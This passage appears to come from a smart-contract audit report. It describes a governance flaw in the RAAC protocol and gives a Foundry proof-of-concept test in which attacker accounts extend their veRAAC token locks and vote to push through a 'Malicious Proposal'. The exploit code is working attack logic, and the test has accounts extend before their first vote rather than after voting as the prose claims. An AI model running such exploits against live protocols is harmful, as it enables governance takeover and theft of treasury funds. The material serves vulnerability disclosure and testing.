This manipulation completely undermines the democratic governance process and allows attackers to pass malicious proposals with far less initial capital than intended.
In normal conditions, voting power should be determined at the time of proposal creation and remain constant throughout the voting period. However, the current flawed implementation allows users to extend their lock duration after voting, retroactively increasing their voting weight and dramatically affecting the outcome of active proposals.
This represents a severe threat to the protocol's governance security and stability.
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../../../../contracts/core/governance/proposals/Governance.sol";
import "../../../../../contracts/core/governance/proposals/TimelockController.sol";
import "../../../../../contracts/interfaces/core/governance/proposals/IGovernance.sol";
import "../../../../../contracts/interfaces/core/tokens/IveRAACToken.sol";
import "../../../../../contracts/core/tokens/veRAACToken.sol";
contract MockRAACToken is ERC20 {
constructor() ERC20("RAAC", "RAAC") {
_mint(msg.sender, 10_000_000e18);
}
}
contract GovernanceTest is Test {
Governance public governance;
TimelockController public timelock;
veRAACToken public veToken;
MockRAACToken public raacToken;
address public admin = address(this);
address public attacker = makeAddr("attacker");
address[] public attackerAccounts;
uint256 constant NUM_ACCOUNTS = 5;
function setUp() public {
raacToken = new MockRAACToken();
veToken = new veRAACToken(address(raacToken));
address[] memory proposers = new address[](1);
address[] memory executors = new address[](1);
proposers[0] = admin;
executors[0] = admin;
timelock = new TimelockController(2 days, proposers, executors, admin);
governance = new Governance(address(veToken), address(timelock));
timelock.grantRole(timelock.PROPOSER_ROLE(), address(governance));
timelock.grantRole(timelock.EXECUTOR_ROLE(), address(governance));
for(uint i = 0; i < NUM_ACCOUNTS; i++) {
attackerAccounts.push(makeAddr(string.concat("attacker", vm.toString(i))));
uint256 accountTokens = 200_000e18 * (i + 1);
raacToken.transfer(attackerAccounts[i], accountTokens);
}
raacToken.transfer(attackerAccounts[0], 500_000e18);
vm.label(attackerAccounts[1], "legitimateUser");
vm.label(attackerAccounts[0], "attacker");
}
function testVotingPowerManipulation() public {
emit log_string("\n=== Phase 1: Initial Setup ===");
vm.startPrank(attackerAccounts[0]);
raacToken.approve(address(veToken), 500_000e18);
veToken.lock(500_000e18, 1460 days);
vm.stopPrank();
emit log_named_uint(
"Attacker0 initial voting power",
veToken.getVotingPower(attackerAccounts[0])
);
for(uint i = 1; i < attackerAccounts.length; i++) {
vm.startPrank(attackerAccounts[i]);
uint256 lockAmount = 200_000e18 * (i + 1);
raacToken.approve(address(veToken), lockAmount);
veToken.lock(lockAmount, 365 days);
vm.stopPrank();
emit log_named_uint(
string.concat("Account ", vm.toString(i), " initial voting power"),
veToken.getVotingPower(attackerAccounts[i])
);
}
emit log_string("\n=== Phase 2: Create Malicious Proposal ===");
address[] memory targets = new address[](1);
uint256[] memory values = new uint256[](1);
bytes[] memory calldatas = new bytes[](1);
targets[0] = address(timelock);
values[0] = 0;
calldatas[0] = abi.encodeWithSignature("maliciousAction()");
vm.prank(attackerAccounts[0]);
uint256 proposalId = governance.propose(
targets,
values,
calldatas,
"Malicious Proposal",
IGovernance.ProposalType.TreasuryAction
);
emit log_string("\n=== Phase 3: Execute Voting Attack ===");
vm.warp(block.timestamp + governance.votingDelay() + 1);
vm.prank(attackerAccounts[0]);
governance.castVote(proposalId, true);
(uint256 initialVotes,) = governance.getVotes(proposalId);
emit log_named_uint("Initial votes", initialVotes);
for(uint i = 1; i < attackerAccounts.length; i++) {
vm.startPrank(attackerAccounts[i]);
uint256 extensionDays = 1095 days;
veToken.extend(extensionDays);
governance.castVote(proposalId, true);
vm.stopPrank();
(uint256 currentVotes,) = governance.getVotes(proposalId);
emit log_named_uint(
string.concat("Votes after account ", vm.toString(i), " with max lock"),
currentVotes
);
}
emit log_string("\n=== Phase 4: Attack Results ===");
(uint256 finalVotes,) = governance.getVotes(proposalId);
emit log_named_uint("Initial votes", initialVotes);
emit log_named_uint("Final votes", finalVotes);
emit log_named_uint("Vote multiplier achieved", finalVotes / initialVotes);
uint256 initialQuorum = governance.quorum();
vm.warp(block.timestamp + 30 days);
uint256 finalQuorum = governance.quorum();
emit log_named_uint("Initial quorum", initialQuorum);
emit log_named_uint("Final quorum", finalQuorum);
assertTrue(
finalVotes > initialVotes * 2,
"Attack should at least double effective voting power"
);
vm.warp(block.timestamp + governance.votingPeriod());
IGovernance.ProposalState state = governance.state(proposalId);
assertTrue(
state == IGovernance.ProposalState.Succeeded,
"Proposal should succeed with manipulated votes"
);
}